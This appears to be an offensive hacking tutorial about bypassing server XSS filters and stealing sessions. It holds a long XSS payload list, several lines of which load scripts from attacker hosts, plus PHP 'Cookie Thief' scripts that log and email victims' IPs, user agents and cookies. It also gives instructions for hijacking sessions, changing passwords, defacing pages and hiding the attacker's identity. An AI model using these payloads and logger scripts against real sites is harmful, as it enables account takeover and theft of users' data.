an exploitable webserver filter
an exploitable computer browser
There is no magic bullet.
Also needed; a free small anonymously acquired with a Random; Access Point, MAC, IP, User agent and header information, names, dates & places, anything that can be forged and turned off (without breaking connectivity or leaving a finger print in and of itself) shall be with no repeat patterns unless it is a most common shared public factor.
One can bypass server xss filters by the use of different encoding methods;
http://alihassanpenetrationtester.blogspot.com/2013/05/cross-site-scripting-xss-bypass-encoder.html
Use these exploits to test for vulnerabilities in the web filter of the server in question with this
https://addons.mozilla.org/en-us/firefox/addon/xss-me/ & the latest version of Firefox.
PATH TOO XSS ME:Tools =>XSS ME=>Open XSS Me sidebar.
Copy and paste the following exploits it in the application field shown below in addition to the existing code.
PATH:Tools =>XSS ME=>Options=>XSS Strings.
Start Copy Here--------------------------------------------------------
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<SCRIPT SRC="http://evil-site.com/xss.jpg"></SCRIPT>
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html; base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<SCRIPT SRC=http://evil-site.com/xss.js> </SCRIPT>
';alert(String.fromCharCode(88,83,83))//\'; alert(String.fromCharCode(88,83,83))//"; alert(String.fromCharCode(88,83,83))//\"; alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT> alert(String.fromCharCode(88,83,83))</SCRIPT>
<img src="javascript:alert('XSS');">
<img src=javascript:alert("XSS")>
<img src=javascript:alert(String.fromCharCode(88,83,83))>
<img src=javasc ript:ale rt('XSS')>
<img src=java scrip t:ale rt('X SS')>
<IMG SRC=javascri pt:alert(' XSS')>
<IMG SRC="jav
ascript:alert('XSS');">
<iframe src=http://evil-site.com/evil.html <
<SCRIPT>x=/XSS/ alert(x.source)</SCRIPT>
<BODY BACKGROUND="javascript:alert('XSS')">
<BGSOUND SRC="javascript:alert('XSS');">
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<IMG SRC='vbscript:msgbox("XSS")'>
'';!--"<XSS>=&{()}
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
<IMG SRC="javascript:alert('XSS');"><IMG SRC=javascript:alert('XSS')><IMG SRC=JaVaScRiPt:alert('XSS')><IMG SRC=javascript:alert("XSS")><IMG SRC=`javascript:alert("RSnake says, 'XSS'")`><IMG """><SCRIPT>alert("XSS")</SCRIPT>"><IMG SRC=javascript:alert(String.fromCharCode(88,83,83))><IMG SRC=# onmouseover="alert('xxs')"><IMG SRC= onmouseover="alert('xxs')"><IMG onmouseover="alert('xxs')"><IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img><IMG SRC=javascript:alert( 'XSS')><IMG SRC=javascript:a& #0000108ert('XSS')><IMG SRC=javascript:alert('XSS')><IMG SRC="jav ascript:alert('XSS');"><IMG SRC="jav	ascript:alert('XSS');"><IMG SRC="jav
ascript:alert('XSS');"><IMG SRC="jav
ascript:alert('XSS');">perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out<IMG SRC="  javascript:alert('XSS');"><SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")><SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT><<SCRIPT>alert("XSS");//<</SCRIPT><SCRIPT SRC=http://ha.ckers.org/xss.js?< B ><SCRIPT SRC=//ha.ckers.org/.j><IMG SRC="javascript:alert('XSS')"<iframe src=http://ha.ckers.org/scriptlet.html <\";alert('XSS');//</script><script>alert('XSS');</script></TITLE><SCRIPT>alert("XSS");</SCRIPT><INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"><BODY BACKGROUND="javascript:alert('XSS')"><IMG DYNSRC="javascript:alert('XSS')"><IMG LOWSRC="javascript:alert('XSS')"><STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br><IMG SRC='vbscript:msgbox("XSS")'><IMG SRC="livescript:[code]"><BODY ONLOAD=alert('XSS')><BGSOUND SRC="javascript:alert('XSS');"><BR SIZE="&{alert('XSS')}"><LINK REL="stylesheet" HREF="javascript:alert('XSS');"><LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"><STYLE>@import'http://ha.ckers.org/xss.css';</STYLE><META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"><STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE><STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE><IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">exp/*<A STYLE='no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))'><STYLE TYPE="text/javascript">alert('XSS');</STYLE><STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A><STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE><STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE><XSS STYLE="xss:expression(alert('XSS'))"><XSS STYLE="behavior: url(xss.htc);">¼script¾alert(¢XSS¢)¼/script¾<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"><META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"><META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"><IFRAME SRC="javascript:alert('XSS');"></IFRAME><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME><FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET><TABLE BACKGROUND="javascript:alert('XSS')"><TABLE><TD BACKGROUND="javascript:alert('XSS')"><DIV STYLE="background-image: url(javascript:alert('XSS'))"><DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"><DIV STYLE="background-image: url(javascript:alert('XSS'))"><DIV STYLE="width: expression(alert('XSS'));"><!--[if gte IE 4]> <SCRIPT>alert('XSS');</SCRIPT> <![endif]--><BASE HREF="javascript:alert('XSS');//"><OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).: org/xss.swf" AllowScriptAccess="always"></EMBED><EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>a="get"; b="URL(\""; c="javascript:"; d="alert('XSS');\")"; eval(a+b+c+d);<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML> <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN><XML SRC="xsstest.xml" ID=I></XML> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN><HTML><BODY> <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> <?import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>"> </BODY></HTML><SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT><!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"--><? echo('<SCR)'; echo('IPT>alert("XSS")</SCRIPT>'); ?><IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"><META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"><HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT><SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT><SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT><SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT><SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT><SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT><SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT><A HREF="http://66.102.7.147/">XSS</A><A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A><A HREF="http://1113982867/">XSS</A><A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A><A HREF="http://0102.0146.0007.00000223/">XSS</A><A HREF="h tt p://6 6.000146.0x7.147/">XSS</A><A HREF="//www.google.com/">XSS</A><A HREF="//google">XSS</A><A HREF="http://ha.ckers.org@google">XSS</A><A HREF="http://google:ha.ckers.org">XSS</A><A HREF="http://google.com/">XSS</A><A HREF="http://www.google.com./">XSS</A><A HREF="javascript:document.location='http://www.google.com/'">XSS</A><A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A>%3C < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < \x3c \x3C \u003c \u003CEnd Copy Here--------------------------------------------------------
You may now proceed to scan for XSS vulnerabilities as pictured above.
Once a vulnerability is found the plugin will notify you via a chart of the known server vulnerabilities and hits.
lets assume we have a positive hits on the following exploits;
<IMG SRC="javascript:alert('XSS')"
<BGSOUND SRC="javascript:alert('XSS');">
We then must use a suitable payload...;
Payload A:The Cookie Thief script.
Steals the following and emails it to a email address that you prove:IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie
<IMG SRC="http://YourAnonymousSite.info/somethingrandomA.php"
<BGSOUND SRC="http://YourAnonymousSite.info/somethingrandomA.php">
Save this script as "somethingrandomA.php" (remove the A) upload onto your free small anonymously acquired (Random; Access Point, IP, User agent and header information, MAC, names, dates & places registered) server.
REMEMBER; One can bypass server xss filters by the use of different encoding methods;
<?php
function GetIP()
{
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}
function logData()
{
$ipLog="log.txt";
$cookie = $_SERVER['QUERY_STRING'];
$register_globals = (bool) ini_get('register_gobals');
if ($register_globals) $ip = getenv('REMOTE_ADDR');
else $ip = GetIP();
$rem_port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$rqst_method = $_SERVER['METHOD'];
$rem_host = $_SERVER['REMOTE_HOST'];
$referer = $_SERVER['HTTP_REFERER'];
$date=date ("l dS of F Y h:i:s A");
$log=fopen("$ipLog", "a+");
if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie
");
else
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n");
fclose($log);
}
logData();
mail(“hackerid@mailprovider.com”, ”Stolen Cookies”, IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n);
?>
<?php
$cookie = $HTTP_GET_VARS["cookie"]; mail(“hackerid@mailprovider.com”, ”Stolen Cookies”, $cookie);?>
Once you have The cookie in hand, One may use https://addons.mozilla.org/en-US/firefox/addon/cookies-manager-plus/ to add the cookies to Firefox. You will then own the session of the user still logged in allowing you to act as they do on a the target website until they log out. Change passwords, Deface the page, gather cyber intel, do as thy wilt.
Payload B:Universal JavaScript for setting homepage
But what too set the home page too? http://b1tsh1fter.blogspot.com/2015/05/puffinfacebookfisher.html Is but one of many payloads you can set the homepage too.
only works for i.e. and mozilla
<IMG SRC="http://YourAnonymousSite.info/cookielogger.php"<BGSOUND SRC="http://YourAnonymousSite.info/cookielogger.php">Save this script as "somethingrandomB.php" (remove the B) upload onto your anonymous server.REMEMBER; One can bypass server xss filters by the use of different encoding methods;<?php function GetIP() { if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) $ip = getenv("HTTP_CLIENT_IP"); else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) $ip = getenv("HTTP_X_FORWARDED_FOR"); else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) $ip = getenv("REMOTE_ADDR"); else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) $ip = $_SERVER['REMOTE_ADDR']; else $ip = "unknown"; return($ip); } function logData() { $ipLog="log.txt"; $cookie = $_SERVER['QUERY_STRING']; $register_globals = (bool) ini_get('register_gobals'); if ($register_globals) $ip = getenv('REMOTE_ADDR'); else $ip = GetIP(); $rem_port = $_SERVER['REMOTE_PORT']; $user_agent = $_SERVER['HTTP_USER_AGENT']; $rqst_method = $_SERVER['METHOD']; $rem_host = $_SERVER['REMOTE_HOST']; $referer = $_SERVER['HTTP_REFERER']; $date=date ("l dS of F Y h:i:s A"); $log=fopen("$ipLog", "a+"); if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog)) fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie "); else fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n"); fclose($log); } logData(); ?>
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